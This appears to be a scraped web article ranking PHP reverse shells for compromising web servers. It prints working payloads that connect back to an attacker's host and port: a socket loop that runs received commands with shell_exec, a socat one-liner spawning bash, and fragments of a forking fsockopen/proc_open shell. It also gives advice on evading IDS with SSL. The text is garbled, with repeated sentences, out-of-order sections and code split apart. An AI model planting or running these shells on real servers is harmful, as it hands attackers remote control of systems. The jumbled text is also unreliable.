Reverse Shell Php Top __full__ May 2026

Introduction In the world of penetration testing, red teaming, and unfortunately, malicious hacking, gaining interactive access to a remote web server is often the primary objective. Among the myriad of methods available, the PHP reverse shell remains the gold standard for compromising web servers. Why? PHP powers over 75% of all websites where the server-side language is known, including platforms like WordPress, Drupal, and Laravel.

OpenSSL extension enabled on the victim.

<?php $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($sock, 'YOUR_IP', 4444); // Duplicate socket descriptors to stdin, stdout, stderr socket_write($sock, "Connected!\n"); while ($cmd = socket_read($sock, 1024)) { $output = shell_exec(trim($cmd) . " 2>&1"); socket_write($sock, $output . "\n$ "); } socket_close($sock); ?> No TTY interaction (no su , vim , or nano ), but great for reconnaissance. #4 The Encrypted SSL Reverse Shell (Stealth) Plaintext traffic is easily detected by IDS/IPS (Snort rules looking for bash -i or id; ). An SSL-encrypted shell looks like regular HTTPS traffic. reverse shell php top

<?php // Uses fsockopen for a reliable reverse shell set_time_limit(0); $ip = 'YOUR_IP'; // CHANGE THIS $port = 4444; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } pcntl_fork(); } else { printit("Warning: pcntl_fork() not supported"); }

<?php system("socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444");?> Many low-tier shared hosting providers disable exec , system , shell_exec , and proc_open . However, they rarely disable raw socket functions. Introduction In the world of penetration testing, red

stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0);

10/10 – Use this for professional engagements. #2 The One-Liner (For Tight Spaces) When you have limited character space (e.g., SQL injection into a SELECT INTO OUTFILE or a vulnerable eval() ), a one-liner is king. PHP powers over 75% of all websites where

while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { $output = fread($pipes[1], $chunk_size); fwrite($sock, $output); } if (in_array($pipes[2], $read_a)) { $error_output = fread($pipes[2], $chunk_size); fwrite($sock, $error_output); } } proc_close($process); ?>